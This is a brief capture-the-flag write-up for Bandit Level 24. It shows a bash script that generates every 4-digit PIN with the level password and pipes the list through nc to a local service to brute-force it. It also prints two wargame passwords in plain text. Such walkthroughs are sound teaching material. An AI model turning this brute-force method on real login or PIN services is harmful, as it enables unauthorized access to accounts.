Skip to content

Latest commit

 

History

History
19 lines (13 loc) · 744 Bytes

Bandit_Level_24.md

File metadata and controls

19 lines (13 loc) · 744 Bytes

Bandit Level 24

In this challenge we have to submit the current level's password and a secret 4-character password to a server. We are told that there is no better way than to try every combination.

We need to write a script to do this for us, because doing it by hand would take a very long time. Here is an example of one:

#!/bin/bash
password=VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar

for i in {0000..9999}; do
    echo $password $i >>list.txt
done

After running this script we can submit list.txt to localhost:30002

cat list.txt | nc localhost 30002 | uniq

This command will eventually provide the correct 4-character code to the server, at which point it will respond with the password: p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8d